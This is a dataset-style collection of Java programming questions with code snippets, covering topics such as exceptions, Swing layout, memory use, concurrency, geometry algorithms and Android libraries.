dialog for this case . I 've been careful to include everything leading up to the exception . Only the IPAddress class implementation is missing , but that does n't participate in the exception , because it 's not actually used until after the exception occurs . Note the asterisks before the line where the exception occurs . That line of code corresponds with the exception you can see in the screenshot.SECOND UPDATE : My colleague reports that this program does NOT produce the dialog . The only difference between this and the program that gets the pop-up is that the program that gets the pop-up is being launched from an exe wrapper produced by AdvancedInstaller . Besides that , within the Java program , the sequence of execution is identical . I 've googled this , and as far as I can find , AdvancedInstaller does nothing at all that would result in this pop-up being generated . I 'm not sure that it CAN without modifying the Java program ( which it does n't ) , because I 'm not sure that you can do anything from outside the Java program to make this happen . Except perhaps capture stderr , but that does n't explain why other programs wrapped by AdvancedInstaller do n't produce this pop-up or why later exceptions produced by this application also do not produce this pop-up .","package staticexception ; import java.net.InterfaceAddress ; import java.net.NetworkInterface ; import java.net.SocketException ; import java.util.ArrayList ; import java.util.Collections ; import java.util.Enumeration ; import java.util.List ; import javax.swing.UIManager ; public class StaticException { // Do n't need this fully implemented . public static class IPAddress { public static IPAddress getBroadcast ( IPAddress mask , IPAddress myip ) { return new IPAddress ( ) ; } public IPAddress ( ) { } public IPAddress ( int maskval ) { } public IPAddress ( byte [ ] addr ) { } public IPAddress mask ( IPAddress netmask ) { return this ; } public int prefixLength ( ) { return 0 ; } } public static class Network { public IPAddress broadcast , netmask , ip ; boolean remember ; public Network ( IPAddress br , IPAddress nm , IPAddress ip ) { broadcast = br ; netmask = nm ; this.ip = ip ; } boolean match ( IPAddress ip ) { IPAddress a = ip.mask ( netmask ) ; IPAddress b = this.ip.mask ( netmask ) ; return ( a.equals ( b ) ) ; } @ Override public String toString ( ) { return ip.toString ( ) + `` / '' + netmask.prefixLength ( ) ; } } static List < Network > my_networks ; static void enumerateNetworks ( ) { my_networks = new ArrayList < Network > ( ) ; Enumeration < NetworkInterface > nets = null ; try { nets = NetworkInterface.getNetworkInterfaces ( ) ; } catch ( SocketException ex ) { ex.printStackTrace ( ) ; } for ( NetworkInterface netint : Collections.list ( nets ) ) { for ( InterfaceAddress address : netint.getInterfaceAddresses ( ) ) { // *** Exception would occur on the next line when // *** address.getAddress ( ) would return null byte [ ] addr = address.getAddress ( ) .getAddress ( ) ; if ( addr.length == 4 & & addr [ 0 ] ! = 127 ) { int prefixlen = address.getNetworkPrefixLength ( ) ; int maskval = -1 < < ( 32 - prefixlen ) ; IPAddress mask = new IPAddress ( maskval ) ; //my_netmask = mask ; System.out.println ( `` Netmask = `` + mask ) ; IPAddress myip = new IPAddress ( addr ) ; //my_ip_address = myip ; System.out.println ( `` Local IP = `` + myip ) ; IPAddress broadcast = IPAddress.getBroadcast ( mask , myip ) ; System.out.println ( `` Broadcast = `` + broadcast ) ; my_networks.add ( new Network ( broadcast , mask , myip ) ) ; System.out.print ( address.getAddress ( ) .getAddress ( ) .length + `` `` ) ; System.out.print ( address.getAddress ( ) + `` `` ) ; System.out.print ( address.getAddress ( ) .getHostAddress ( ) + `` `` ) ; System.out.println ( address.getNetworkPrefixLength ( ) ) ; } } } } static private void setupNetwork ( ) { System.setProperty ( `` java.net.preferIPv4Stack '' , '' true '' ) ; enumerateNetworks ( ) ; // ... stuff that would happen after the exception } public static void main ( String [ ] args ) { try { UIManager.setLookAndFeel ( UIManager.getSystemLookAndFeelClassName ( ) ) ; } catch ( Exception e ) { } setupNetwork ( ) ; // ... stuff that would happen after the exception } }",Java : Mysterious Java uncaught exception handler [ with code ] +Java,After studying the google drive quickstart from android . I downloaded their example and got this error : I followed the instructions here . What am I missing here ?,01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : java.lang.RuntimeException : Unable to get provider com.example.android.notepad.NotePadProvider : java.lang.ClassNotFoundException : com.example.android.notepad.NotePadProvider in loader dalvik.system.PathClassLoader [ /data/app/com.example.android.notepad-1.apk ] 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at android.app.ActivityThread.installProvider ( ActivityThread.java:3561 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at android.app.ActivityThread.installContentProviders ( ActivityThread.java:3313 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at android.app.ActivityThread.handleBindApplication ( ActivityThread.java:3269 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at android.app.ActivityThread.access $ 2200 ( ActivityThread.java:117 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:973 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at android.os.Handler.dispatchMessage ( Handler.java:99 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at android.os.Looper.loop ( Looper.java:130 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at android.app.ActivityThread.main ( ActivityThread.java:3687 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at java.lang.reflect.Method.invokeNative ( Native Method ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at java.lang.reflect.Method.invoke ( Method.java:507 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:867 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:625 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at dalvik.system.NativeStart.main ( Native Method ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : Caused by : java.lang.ClassNotFoundException : com.example.android.notepad.NotePadProvider in loader dalvik.system.PathClassLoader [ /data/app/com.example.android.notepad-1.apk ] 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at dalvik.system.PathClassLoader.findClass ( PathClassLoader.java:240 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at java.lang.ClassLoader.loadClass ( ClassLoader.java:551 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at java.lang.ClassLoader.loadClass ( ClassLoader.java:511 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : at android.app.ActivityThread.installProvider ( ActivityThread.java:3546 ) 01-13 03:38:39.039 : E/AndroidRuntime ( 29967 ) : ... 12 more,Android Notepad provider classnotfound error ing google drive sdk examples +Java,I have a few JComboBoxes in my programm . I want to change the size of the scrollbar and the arrow button in the way that they are much wider . I need that because I want to use the programm on a Windows tablet and it is too small for a finger to work with.Is there any possibility to do that ? That 's my code .,"JComboBox comboBox ; comboBox = new JComboBox ( list_apple_device.toArray ( ) ) ; comboBox.setSelectedItem ( null ) ; comboBox.setFont ( schrift ) ; comboBox.setBounds ( 1568 , 329 , 306 , 43 ) ; comboBox.addItemListener ( new ItemListener ( ) { @ Override public void itemStateChanged ( ItemEvent e ) { // TODO Auto-generated method stub textField.setText ( `` '' +e.getItem ( ) ) ; } } ) ; getContentPane ( ) .add ( comboBox ) ;",How can one resize the scrollelements of a JComboBox ? +Java,"I need to write a program that counts the number of times two users are in the same group . The users are given by username and groups by id.For example , with the input ( stored in a text-file ) : I want the result : This sounds trivial . But the problem is : I have 1,8 million groups and 300,000 users . And a lot of memberships ( I 'm expecting at least an average of 50 per user , possibly much more ) . This means a HUGE amount of data and processing.I 've written 5 different programs doing this , none of which has been able to cut the amount of data : It was too slow as an PostgreSQL query . Too memory consuming running in a Map in Java working memory ( first heap space , after optimization I got the rare `` GC overhead limit exceeded '' ) . Too slow to write continuously to database from Java ( even when optimized using batch-queries ) . Growing increasingly desperate , I 've tried some more exotic things , like writing all the pairs to an array , then sorting them ( O ( n log ( n ) ) ) and then counting them peu à peu . But it was still way too much data to store in memory.Any ideas on an algorithm for doing this ? Or is it impossible ?",john 32john 21jim 21jim 32bob 32 john-jim 2 john-bob 1jim-bob 1,Algorithm for counting common group memberships with big data +Java,"I 'm on solving some Java puzzles and stumbled on this one : While compiling this code with javac 1.6.0_45 I 'm getting , as expected , this error : This is because of compiler generates default constructor for Inner2 class with similar code , which explains error above : And it 's obvious now , because you really ca n't do this in Java 1.6.0_45 , JLS 8.8.7.1 ( as I can guess ) : An explicit constructor invocation statement in a constructor body may not refer to any instance variables or instance methods declared in this class or any superclass , or use this or super in any expression ; otherwise , a compile-time error occurs.See ( accepted answer in Odd situation for `` can not reference this before supertype constructor has been called '' ) But if I try to compile it with javac 1.7.0_79 - it is OK ! And here goes the question - What has been changed in Java 1.7 , that this code is now correct ? Thanks in advance !",public class Outer { class Inner1 extends Outer { } class Inner2 extends Inner1 { } } Outer.java:8 : can not reference this before supertype constructor has been calledclass Inner2 extends Inner1 { } ^ Inner2 ( ) { this.super ( ) ; },JDK 1.7 vs JDK 1.6 inner classes inheritance difference +Java,"First , I had a problem with getting the data from the Database , it took too much memory and failed . I 've set -Xmx1500M and I 'm using scrolling ResultSet so that was taken care of . Now I need to make an XML from the data , but I ca n't put it in one file . At the moment , I 'm doing it like this : and it works ; I get 12 100 MB files . Now , what I 'd like to do is to do is have all that data in one file ( which I then compress ) but if just remove the if part , I go out of memory . I thought about trying to write to a file , closing it , then opening , but that would n't get me much since I 'd have to load the file to memory when I open it .","while ( rs.next ( ) ) { i++ ; xmlStringBuilder.append ( `` \n\t < row > '' ) ; xmlStringBuilder.append ( `` \n\t\t < ID > '' + Util.transformToHTML ( rs.getInt ( `` id '' ) ) + `` < /ID > '' ) ; xmlStringBuilder.append ( `` \n\t\t < JED_ID > '' + Util.transformToHTML ( rs.getInt ( `` jed_id '' ) ) + `` < /JED_ID > '' ) ; xmlStringBuilder.append ( `` \n\t\t < IME_PJ > '' + Util.transformToHTML ( rs.getString ( `` ime_pj '' ) ) + `` < /IME_PJ > '' ) ; //etc . xmlStringBuilder.append ( `` \n\t < /row > '' ) ; if ( i % 100000 == 0 ) { //stores the data to a file with the name i.xml storeKBR ( xmlStringBuilder.toString ( ) , i ) ; xmlStringBuilder= null ; xmlStringBuilder= new StringBuilder ( ) ; }",How can I store large amount of data from a database to XML ( memory problem ) ? +Java,"In JDK 8 , StringBuffer class has a toStringCache , while StringBuilder doesn't.But why ? One possible reason I can think of is that StringBuffer is already synchronized so a cache can be implemented easier.Or maybe historically StringBuffer was implemented this way so old code depends heavily on this feature ? Given modern JVM with escape analysis and biased locking , is the difference relevant anymore ?",/** * A cache of the last value returned by toString . Cleared * whenever the StringBuffer is modified . */private transient char [ ] toStringCache ;,Why StringBuffer has a toStringCache while StringBuilder not ? +Java,"We have an EJB application deployed on WebSphere 8.5 , We are getting the following exception on console , I can also see the root cause of exception as below : The effect of it is end user is unable to connect to the application.Upon doing some analysis : I found out that main reason could be the connection pool settings.So Can someone please help me on following : possible root causes of above exceptionpossible way to fix this exception",java.rmi.Exception : CORBA NO_RESPONSE 0x4942fb01 Maybe : nested exception is : RESPONSE : Request 221370 timed out vmcid : IBM minor code : B01 Completed maybe caused by : org.omg.CORBA.NO_RESPONSE : Request timed out vmcid : B01 Completed maybeat com.ibm.rmi.iiop.Connection.getCallStream ( Connection.java:2493 ),java.rmi.RemoteExeption : CORBA NO_RESPONSE root cause analysis +Java,"When I change the logging level to FINE in my localhost Google App Engine app , I start seeing these in my trace stack : Any ideas what this is and how to fix it ?","Apr 17 , 2013 4:54:20 PM com.google.appengine.tools.development.DevAppServerServersFilter getCurrentServerInstanceFINE : Exception getting server instancecom.google.appengine.api.labs.servers.ServersException : No valid instance id for this instance . at com.google.appengine.api.labs.servers.ServersServiceImpl.getCurrentInstanceId ( ServersServiceImpl.java:75 ) at com.google.appengine.tools.development.DevAppServerServersFilter.getCurrentServerInstance ( DevAppServerServersFilter.java:210 ) at com.google.appengine.tools.development.DevAppServerServersFilter.isServerLoadBalancingServerRequest ( DevAppServerServersFilter.java:185 ) at com.google.appengine.tools.development.DevAppServerServersFilter.getRequestType ( DevAppServerServersFilter.java:174 ) at com.google.appengine.tools.development.DevAppServerServersFilter.doFilter ( DevAppServerServersFilter.java:112 ) at org.mortbay.jetty.servlet.ServletHandler $ CachedChain.doFilter ( ServletHandler.java:1157 ) at org.mortbay.jetty.servlet.ServletHandler.handle ( ServletHandler.java:388 ) at org.mortbay.jetty.security.SecurityHandler.handle ( SecurityHandler.java:216 ) at org.mortbay.jetty.servlet.SessionHandler.handle ( SessionHandler.java:182 ) at org.mortbay.jetty.handler.ContextHandler.handle ( ContextHandler.java:765 ) at org.mortbay.jetty.webapp.WebAppContext.handle ( WebAppContext.java:418 ) at com.google.appengine.tools.development.DevAppEngineWebAppContext.handle ( DevAppEngineWebAppContext.java:94 ) at org.mortbay.jetty.handler.HandlerWrapper.handle ( HandlerWrapper.java:152 ) at com.google.appengine.tools.development.JettyContainerService $ ApiProxyHandler.handle ( JettyContainerService.java:421 ) at org.mortbay.jetty.handler.HandlerWrapper.handle ( HandlerWrapper.java:152 ) at org.mortbay.jetty.Server.handle ( Server.java:326 ) at org.mortbay.jetty.HttpConnection.handleRequest ( HttpConnection.java:542 ) at org.mortbay.jetty.HttpConnection $ RequestHandler.headerComplete ( HttpConnection.java:923 ) at org.mortbay.jetty.HttpParser.parseNext ( HttpParser.java:547 ) at org.mortbay.jetty.HttpParser.parseAvailable ( HttpParser.java:212 ) at org.mortbay.jetty.HttpConnection.handle ( HttpConnection.java:404 ) at org.mortbay.io.nio.SelectChannelEndPoint.run ( SelectChannelEndPoint.java:409 ) at org.mortbay.thread.QueuedThreadPool $ PoolThread.run ( QueuedThreadPool.java:582 )",Exception getting server instance : No valid instance id for this instance +Java,I have two functions which check if all elements of an array or list are true . I 'm having trouble combining the two . How can I make the functions into one generic Java function .,public static boolean allTrue ( boolean [ ] booleans ) { if ( booleans == null ) { return false ; } for ( boolean bool : booleans ) { if ( ! bool ) { return false ; } } return true ; } public static boolean allTrue ( List < Boolean > booleans ) { if ( booleans == null ) { return false ; } for ( boolean bool : booleans ) { if ( ! bool ) { return false ; } } return true ; },Make function generic for List < Boolean > and boolean [ ] +Java,I made an little shoot em up game..It works normal but I want also implement if fires intersects they will disappear . I have two list for Player bullets and for computer bullets ... But if I have more bullets from computer or reverse .Here my loop This is my game which woking algoritms ... http : //rapidshare.com/files/364597095/ShooterGame.2.6.0.jar,for ( int i = 0 ; i < cb.size ( ) ; i++ ) { for ( int j = 0 ; j < b.size ( ) ; j++ ) { if ( b.get ( j ) .rect.intersects ( cb.get ( i ) .rect ) ) { cb.remove ( i ) ; b.remove ( j ) ; continue ; } if ( cb.get ( i ) .rect.intersects ( b.get ( j ) .rect ) ) { b.remove ( j ) ; cb.remove ( i ) ; continue ; } } },Java IndexOutOfBoundsException +Java,"I 'm trying to add an activity as a feature to an app I 'm building where , the API will return a lat long , and with this lat long I will load google street view . Which with the movement of the device , will rotate the 360 degree angle of the position . I 'm struggling on the movement part of the device . Using your fingers on the screen you can rotate . I wonder if anyone can point me in the right direction in getting the device movement to affect the position of the street view ? The code I have so far is :","import android.support.v4.app.FragmentActivity ; import android.support.v7.app.AppCompatActivity ; import android.os.Bundle ; import android.util.Log ; import com.google.android.gms.maps.OnStreetViewPanoramaReadyCallback ; import com.google.android.gms.maps.StreetViewPanorama ; import com.google.android.gms.maps.StreetViewPanoramaFragment ; import com.google.android.gms.maps.StreetViewPanoramaOptions ; import com.google.android.gms.maps.StreetViewPanoramaView ; import com.google.android.gms.maps.model.LatLng ; import com.google.android.gms.maps.model.StreetViewPanoramaCamera ; import com.google.android.gms.maps.model.StreetViewPanoramaLocation ; public class MainActivity extends FragmentActivity implements OnStreetViewPanoramaReadyCallback { private static final String TAG = MainActivity.class.getSimpleName ( ) ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; StreetViewPanoramaFragment streetViewPanoramaFragment = ( StreetViewPanoramaFragment ) getFragmentManager ( ) .findFragmentById ( R.id.streetviewpanorama ) ; streetViewPanoramaFragment.getStreetViewPanoramaAsync ( this ) ; } @ Override public void onStreetViewPanoramaReady ( final StreetViewPanorama panorama ) { final long duration = 1000 ; float tilt = 30 ; float bearing = 90 ; final StreetViewPanoramaCamera camera = new StreetViewPanoramaCamera.Builder ( ) .zoom ( panorama.getPanoramaCamera ( ) .zoom ) .bearing ( bearing ) .tilt ( tilt ) .build ( ) ; panorama.setPosition ( new LatLng ( 52.208818 , 0.090587 ) ) ; panorama.setStreetNamesEnabled ( false ) ; panorama.setZoomGesturesEnabled ( false ) ; panorama.setOnStreetViewPanoramaChangeListener ( new StreetViewPanorama.OnStreetViewPanoramaChangeListener ( ) { @ Override public void onStreetViewPanoramaChange ( StreetViewPanoramaLocation streetViewPanoramaLocation ) { if ( streetViewPanoramaLocation ! = null ) { panorama.animateTo ( camera , duration ) ; } Log.d ( TAG , `` TESTINGGGGGGGGGG '' ) ; } } ) ; } }",Google Street view + device tilting +Java,"My application attempts to set context attributes : In my HttpListener I assert the context is not null : However , a java.lang.AssertionError is thrown because the context is null . My end goal is to pass a shared object to my listener . Is there another way I can do this ? Where am I going wrong ? Note : I 'm using Restlet 2.1.7 . My application always run from an android app , so no server context is available.Update : I 've also tried using the Application Context : And ..In this approach , I am able to access the Application context , but the attributes are not set on it for some reason .","final Router router = new Router ( ) ; router.attachDefault ( HttpListener.class ) ; org.restlet.Application myApp = new org.restlet.Application ( ) { @ Override public org.restlet.Restlet createInboundRoot ( ) { getContext ( ) .getAttributes ( ) .put ( `` mysharedobj '' , new MySharedObj ( ) ) ; return router ; } ; } ; Component component = new Component ( ) ; component.getDefaultHost ( ) .attach ( `` / '' , myApp ) ; new Server ( Protocol.HTTP , port , component ) .start ( ) ; public class HttpListener extends ServerResource { public MySharedObj mysharedobj ; public HttpListener ( ) { } @ java.lang.Override public void init ( Context context , Request request , Response response ) { assert context ! = null ; // throws java.lang.AssertionError // my end goal is to pass a shared object to my listener mysharedobj = context.getAttributes ( ) .get ( `` mysharedobj '' ) ; } ... } final Router router = new Router ( ) ; router.attachDefault ( HttpListener.class ) ; Component component = new Component ( ) ; final Context ctx = component.getApplication ( ) .getContext ( ) .createChildContext ( ) ; ctx.getAttributes ( ) .put ( `` mysharedobj '' , new MySharedObj ( ) ) ; org.restlet.Application myApp = new org.restlet.Application ( ctx ) { @ Override public org.restlet.Restlet createInboundRoot ( ) { return router ; } ; } ; public HttpListener ( ) { Context ctx = getApplication ( ) .getContext ( ) ; assert ctx.getAttributes ( ) .size ( ) > 0 ; // Throws AssertionError ... }",Issue passing context attributes to ServerResource +Java,I have a n00b/basic issue about the try catch on java . and the error message that follows : variable myIni might not have been initializedIs the scope of the try only restricted to the try area ? How can I fetch the result of myIni in the following code ?,Ini myIni ; try { myIni = new Ini ( new FileReader ( myFile ) ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } myIni.get ( `` toto '' ) ;,Scope issue on a try catch statement +Java,"I am trying to find unicode variants of a user-entered character in a text for highlighting them . E.g . if user enters `` Beyonce '' i 'd like to highlight all text with variants like `` Beyoncé '' or `` Beyônce '' or Bèyönce '' in the text . Currenty the only idea i have is creating a regex by replacing the input string with a set of character groups like this : But this seems to be a very tedious and error prone way of doing it . What I am basically looking for is a regex character group that matches all variants of a given input character , something like \p { M } but with the possibility to specify the base letter . Is there something available like this in java regex ? And if not , how could the regex creation process be improved ? I do n't think that specifying all variants by hand is going to work in the long run .",`` Beyonce '' = > `` B [ eêéè ] y [ óòôö ] c [ éèê ] '',Regex to find all variants of a certain character inside a text +Java,"I have been trying to generate some dynamic codes ( Using Javassist ) but program fails at a certain point when involving a double array or float array . The code is as followsGenerated code is as followsBut problem arises when getDeclaredConstructors is called c.getDeclaredConstructors ( ) ... it throws the following errorException in thread `` main '' java.lang.VerifyError : ( class : testapp1/Dyn , method : processDouble signature : ( Lsomething/Output ; Ljava/lang/Object ; ) V ) Inconsistent args_size for opc_invokeinterfaceA workaround exists but does not make any sense , i.e . everything works fine if i simply create a copy of the double array and pass it on to processDouble in dynamic codei.e . if the dynamic code is In short , exception Unhandled is thrown by getDeclaredConstructor but it actually has nothing to do with a constructor because it doesnt matter if i create one or notHopefully my problem and code is clear enough , if any confusion please do tell , Thankyou in advance : )","Class c = Customers.class ; // called in main & Customer class just has a double [ ] Dubs = new double [ 10 ] CreateType ( c ) ; // Mainpublic static Object CreateType ( Class genericType ) { // some preReq declarations CtMethod writeCode = dyn.getDeclaredMethod ( `` processCode '' ) ; generateCode ( genericType , Code , `` temp '' ) ; // Code is a StringBuilder class System.out.println ( Code ) ; writeCode.insertAt ( 1 , Code.toString ( ) ) ; // Compilation is successful Class c = dyn.toClass ( ) ; Dynamic h ; Constructor [ ] ctorlist = null ; ctorlist = c.getDeclaredConstructors ( ) ; // Problem is here h = ( DynamicSurrogate ) ctorlist [ 0 ] .newInstance ( genericType ) ; return h ; } testapp1.Customers temp= ( testapp1.Customers ) graph ; output.processDouble ( temp.Dubs [ 1 ] ) ; testapp1.Customers temp= ( testapp1.Customers ) graph ; double [ ] d = temp.Dubs ; output.processDouble ( d ) ;",Verify Error : Inconsistent args_size for opc_invokeinterface +Java,I have no clue why but my single thread code to calculate PI is much faster than multi . I 'm using 500 Million points and for multi-thread 16 cores . With single CPU is fine and multi-thread all 16 Cores are 100 % but it 's slower ... Any clue ? ? Single Sequencial Monte-Carlo estimated PI value : 3.141562496 . Executed in 13432.927304 ms.Multi-Thread Concurrent Monte-Carlo estimated PI value : 3.141666048 . Executed in 116236.812471 ms .,"public static double monteCarloMethodSequencialMethod ( long points ) { long inCircle = 0 ; for ( long i = 0 ; i < points ; i++ ) { double x = Math.random ( ) ; double y = Math.random ( ) ; if ( x * x + y * y < = 1 ) inCircle++ ; } return 4.0 * inCircle / points ; } public double calculatePI ( ) throws InterruptedException , ExecutionException { double sum = 0 ; List < Future < Double > > tasks = new ArrayList < > ( ) ; ExecutorService executor = Executors.newFixedThreadPool ( nProcessors ) ; for ( long i = 0 ; i < points ; i += points / nProcessors ) { Future < Double > task = executor.submit ( ( ) - > { long inCircle = 0 ; double val = 0 ; for ( long k = 0 ; k < points / nProcessors ; k++ ) { double x = Math.random ( ) ; double y = Math.random ( ) ; if ( x * x + y * y < = 1 ) inCircle++ ; } val = 4.0 * inCircle ; return val ; } ) ; tasks.add ( task ) ; } long pending = nProcessors ; while ( pending ! = 0 ) { for ( Future < Double > future : tasks ) { if ( future.isDone ( ) ) { sum += future.get ( ) ; pending -- ; System.out.println ( pending + `` task are still pending '' ) ; } } } executor.shutdown ( ) ; return sum / points ; }",Java - Calculate PI - Single vs Multi-Thread +Java,I want to get data within Main Blocks including its Nested Blocks with Java Regex . Is it possible ? Thanks in Advance,{ Main Block { Nested Block } } { Main Block { Nested Block } { Nested Block } },Java Regular Expression +Java,"I am trying to do a function that takes a list of circles , and returns only a list of circles that are fully overlapped ( one inside another ) . The problem is that the algorithm is at least O ( n² ) , due to the nested for 's in getConcentricCircles function , and taking ages for large datasets . Is there any way to optimize it ? EDIT : I do n't know if this would help , but I use the algorithm to detect false positives in iris and pupil detection . If a circle is fully inside another circle , it is likely that that is the pupil and the outside is the iris . They should be concentric , what would simplifiy a lot , but it happens that the pupil in the human eye is not exactly in the center of the iris , that is why I do this . EDIT 2 : I have replaced isCircleInCircle with Peter Lawrey 's solution , mine was not correct for some casesFunction to check if a circle is inside a circle : Then I check every element of the list with each other , and save only the overlapping circles ( and the overlapped circle ) :","private static boolean isCircleInCircle ( Circle a , Circle b ) { // the circle is inside if the distance between the centre is less than the difference in the radius double dx = a.getX ( ) - b.getX ( ) ; double dy = a.getY ( ) - b.getY ( ) ; double radiusDifference = a.getRadius ( ) - b.getRadius ( ) ; double centreDistanceSquared = dx*dx + dy*dy ; // edited return radiusDifference * radiusDifference > centreDistanceSquared ; } public HashSet < Circle > getConcentricCircles ( List < Circle > circleList ) { HashSet < Circle > toReturn = new HashSet < Circle > ( ) ; for ( Circle circle : circleList ) { for ( Circle toCheck : circleList ) { // if the circles are not the same and one is inside another , if ( ! toCheck.equals ( circle ) & & isCircleInCircle ( circle , toCheck ) ) { // add both to the hashset toReturn.add ( circle ) ; toReturn.add ( toCheck ) ; } } } return toReturn ; }",Optimize circle inside circle detection algorithm lower than O ( n² ) +Java,"I 'm working with an interface that takes type Object as its input . This is unfortunate for me as I have primitive data that I sometimes need to pass in through the interface . This of course forces me to box.Profiling has shown this area to be a hotspot in the code . I am thus exploring alternatives to make this area faster.An idea I had today for this is to preallocate a static primitive array , and to store the primitive value in this , and then pass the array through ( and then in the implementation of the interface , grab the double out of the array.I have written some code in effort to test this . For reasonably high values ( 10 million ) , I am seeing that the array method is SIGNIFICANTLY faster . As I increase the number of iterations of my test , the two converge.I 'm wondering if anyone has thought about this approach before , and if there are any suggestions on how to benchmark this well.Example Code : vs ... Thanks ! RB",Double data = Double.valueOf ( VALUE ) ; inst.interface ( data ) ; //inside interface ( Object object ) ... Double data = ( Double ) object ; double d = data.value ( ) ; doublearray [ 0 ] = VALUE ; inst.interface ( data ) ; //inside interface ( Object object ) ... double [ ] data = ( double [ ] ) object ; double d = data [ 0 ] ;,Avoiding boxing by passing in single element primitive array +Java,"I have a simple game that uses a 3D grid representation , something like : The person in the game is represented by a point and a sight vector : I draw the grid with 3 nested for loops : The obvious problem with this is when the size of the grid grows within the hundreds , fps drop dramatically . With some intuition , I realized that : Blocks that were hidden by other blocks in the grid do n't need to be renderedBlocks that were not within the person 's vision field also do n't need to be rendered ( ie . blocks that were behind the person ) My question is , given a grid [ ] [ ] [ ] , a person 's x , y , z , and a sight vector dx , dy , dz , how could I figure out which blocks need to be rendered and which do n't ?","Blocks grid [ 10 ] [ 10 ] [ 10 ] ; double x , y , z , dx , dy , dz ; for ( ... ) for ( ... ) for ( ... ) draw ( grid [ i ] [ j ] [ k ] ) ;",3D Game Geometry +Java,"My objective is to reverse integer number without duplicate digit in JavaHow do I improve the complexity of code or is there a good/standard algorithm present ? Incase of duplicate digit , it should preserve last digitExpected output : -981",public static void main ( String [ ] args ) { int n = -19890 ; System.out.println ( reverseNumberWithoutDuplicate ( n ) ) ; } public static int reverseNumberWithoutDuplicate ( int number ) { boolean isNegative = ( number < 0 ) ; number = isNegative ? number * -1 : number ; Set < Character > lookup = new HashSet < > ( ) ; StringBuffer sb = new StringBuffer ( ) ; char [ ] digits = String.valueOf ( number ) .toCharArray ( ) ; for ( int i = digits.length - 1 ; i > = 0 ; -- i ) { if ( lookup.contains ( digits [ i ] ) ) { continue ; } sb.append ( digits [ i ] ) ; lookup.add ( digits [ i ] ) ; } return isNegative ? Integer.parseInt ( sb.toString ( ) ) * -1 : Integer.parseInt ( sb.toString ( ) ) ; },Reverse Integer number without duplicate digit in java +Java,If you run the following on HotSpot Java 7 64-bit version.you can get a result likeI was wondering if this means the Object.hashCode ( ) is only really 31-bit and why this might be so ? It is not the case that the top bit is not used . From the source for HashMap,"int countTopBit = 0 , countLowestBit = 0 ; for ( int i = 0 ; i < 100000000 ; i++ ) { int h = new Object ( ) .hashCode ( ) ; if ( h < 0 ) countTopBit++ ; if ( ( h & 1 ) == 1 ) countLowestBit++ ; } System.out.println ( `` The count of negative hashCodes was `` + countTopBit + `` , the count of odd hashCodes was `` + countLowestBit ) ; The count of negative hashCodes was 0 , the count of odd hashCodes was 49994232 257 /**258 * Applies a supplemental hash function to a given hashCode , which259 * defends against poor quality hash functions . This is critical260 * because HashMap uses power-of-two length hash tables , that261 * otherwise encounter collisions for hashCodes that do not differ262 * in lower bits . Note : Null keys always map to hash 0 , thus index 0.263 */264 static int hash ( int h ) { 265 // This function ensures that hashCodes that differ only by266 // constant multiples at each bit position have a bounded267 // number of collisions ( approximately 8 at default load factor ) .268 h ^= ( h > > > 20 ) ^ ( h > > > 12 ) ; 269 return h ^ ( h > > > 7 ) ^ ( h > > > 4 ) ; 270 }",Is there a reason Object.hashCode ( ) is 31-bit ? +Java,"I 've had my brain wrinkled from trying to understand the examples on this page : http : //answers.yahoo.com/question/index ? qid=20091103170907AAxXYG9More specifically this code : gives an output : 566Now this makes sense to me if the expression is evaluated right to left , however in Java a similar expression : gives an output of : 456Which is more intuitive because this indicates it 's been evaluated left to right . Researching this across various sites , it seems that with C++ the behaviour differs between compilers , but I 'm still not convinced I understand . What 's the explanation for this difference in evaluation between Java and C++ ? Thanks SO .",int j = 4 ; cout < < j++ < < j < < ++j < < endl ; int j = 4 ; System.out.print ( `` '' + ( j++ ) + ( j ) + ( ++j ) ) ;,How does expression evaluation order differ between C++ and Java ? +Java,"How I can replace this code with new Java Stream API : I have tried to using IntStream.iterate ( 3 , i - > i + 2 ) , but I ca n't add stop condition.As I understand I ca n't use .limit ( int ) method here . Any ideas ?",int n = someFunction ( ) ; // n > 0for ( int i = 3 ; i * i < = n ; i += 2 ) System.out.print ( i ) ;,How to generate IntStream using java stream API +Java,( this post explains WHY I would want to do this : Good patterns for unit testing form beans that have annotation-based validation in Spring MVC ) Is it considered good practice to write a unit test to just test configuration/annotations on a field or a class ? For example if you have : Is there any point in writing a unit test that checks the presence of annotations above ?,@ AnnotatedClasspublic class MyClass { @ AnnotatedField1 @ AnnotatedField2private string myField ; },Is it considered good practice to test presence of annotations using reflection in a unit test ? +Java,"Here is the deal , I have a RecycleView Adapter which inflates layout on onCreateViewHolder . When I try to do the following actions in order this happens : Application created without any problemWent into multitasking windowCame back to appInflateExceptionError is occurring at Fresco 's SimpleDraweeView which is defined in xml.This is how I 'm setting the adapter to RecycleViewI have tried to override onResume in the Activity where I set Adapter to RecycleView ( Main reason : Resume from onCreate to avoid passing null Adapter ) : And this is how I inflate layout in my adapter . I also tried to retry to inflate layout if it fails.Logcat","< com.facebook.drawee.view.SimpleDraweeView android : id= '' @ +id/photo '' android : layout_width= '' match_parent '' android : layout_height= '' @ 